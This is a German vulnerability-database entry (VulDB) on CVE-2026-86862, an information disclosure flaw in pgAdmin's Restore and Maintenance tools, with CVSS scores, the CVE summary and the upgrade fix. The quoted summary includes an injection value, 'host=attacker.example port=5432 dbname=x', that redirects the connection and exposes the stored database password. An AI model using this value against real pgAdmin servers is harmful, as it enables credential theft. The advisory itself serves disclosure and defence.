pgAdmin bis 9.17 Restore/Maintenance tools database Information Disclosure
| CVSS Meta Temp Score | Aktueller Exploitpreis (≈) | CTI Interest Score |
|---|---|---|
| 5.3 | $0-$5k | 0.39 |
Zusammenfassung
Eine Schwachstelle wurde in pgAdmin bis 9.17 gefunden. Sie wurde als problematisch eingestuft. Hierbei geht es um eine nicht exakt ausgemachte Funktion der Komponente Restore/Maintenance tools. Durch Manipulation des Arguments database mit unbekannten Daten kann eine Information Disclosure-Schwachstelle ausgenutzt werden. Diese Verwundbarkeit ist als CVE-2026-86862 gelistet. Die Umsetzung des Angriffs kann dabei über das Netzwerk erfolgen. Es existiert kein Exploit. Ein Upgrade der betroffenen Komponente wird empfohlen.
Details
In pgAdmin bis 9.17 wurde eine Schwachstelle gefunden. Sie wurde als problematisch eingestuft. Betroffen ist eine unbekannte Verarbeitung der Komponente Restore/Maintenance tools. Mit der Manipulation des Arguments database mit einer unbekannten Eingabe kann eine Information Disclosure-Schwachstelle ausgenutzt werden. CWE definiert das Problem als CWE-200. Die Auswirkungen sind bekannt für die Vertraulichkeit. Die Zusammenfassung von CVE lautet:
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.Das Advisory findet sich auf github.com. Die Verwundbarkeit wird seit dem 08.09.2026 als CVE-2026-86862 geführt. Sie ist leicht auszunutzen. Der Angriff kann über das Netzwerk angegangen werden. Technische Details sind bekannt, ein verfügbarer Exploit hingegen nicht. Diese Schwachstelle wird durch das MITRE ATT&CK als Angriffstechnik T1592 bezeichnet.
Ein Aktualisieren auf die Version 9.18 vermag dieses Problem zu lösen.
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Produkt
Name
Version
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔒VulDB Zuverlässigkeit: 🔍
CNA CVSS-B Score: 🔒
CNA CVSS-BT Score: 🔒
CNA Vector: 🔒
CVSSv3
VulDB Meta Base Score: 5.4VulDB Meta Temp Score: 5.3
VulDB Base Score: 4.3
VulDB Temp Score: 4.1
VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍
CNA Base Score: 6.5
CNA Vector (PostgreSQL): 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vektor | Komplexität | Authentisierung | Vertraulichkeit | Integrität | Verfügbarkeit |
|---|---|---|---|---|---|
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Zuverlässigkeit: 🔍
Exploiting
Klasse: Information DisclosureCWE: CWE-200 / CWE-284 / CWE-266
CAPEC: 🔒
ATT&CK: 🔒
Physisch: Nein
Lokal: Nein
Remote: Ja
Verfügbarkeit: 🔒
Status: Nicht definiert
EPSS Score: 🔒
EPSS Percentile: 🔒
Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔒
| 0-Day | freischalten | freischalten | freischalten | freischalten |
|---|---|---|---|---|
| Heute | freischalten | freischalten | freischalten | freischalten |
Threat Intelligence
Interesse: 🔍Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍
Gegenmassnahmen
Empfehlung: UpgradeStatus: 🔍
0-Day Time: 🔒
Upgrade: pgAdmin 9.18
Timeline
08.09.2026 CVE zugewiesen17.09.2026 Advisory veröffentlicht
17.09.2026 VulDB Eintrag erstellt
17.09.2026 VulDB Eintrag letzte Aktualisierung
Quellen
Advisory: github.comStatus: Bestätigt
CVE: CVE-2026-86862 (🔒)
GCVE (CVE): GCVE-0-2026-86862
GCVE (VulDB): GCVE-100-406507
Eintrag
Erstellt: 17.09.2026 17:45Anpassungen: 17.09.2026 17:45 (76)
Komplett: 🔍
Cache ID: 216::103
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Bisher keine Kommentare. Sprachen: de + en.
Bitte loggen Sie sich ein, um kommentieren zu können.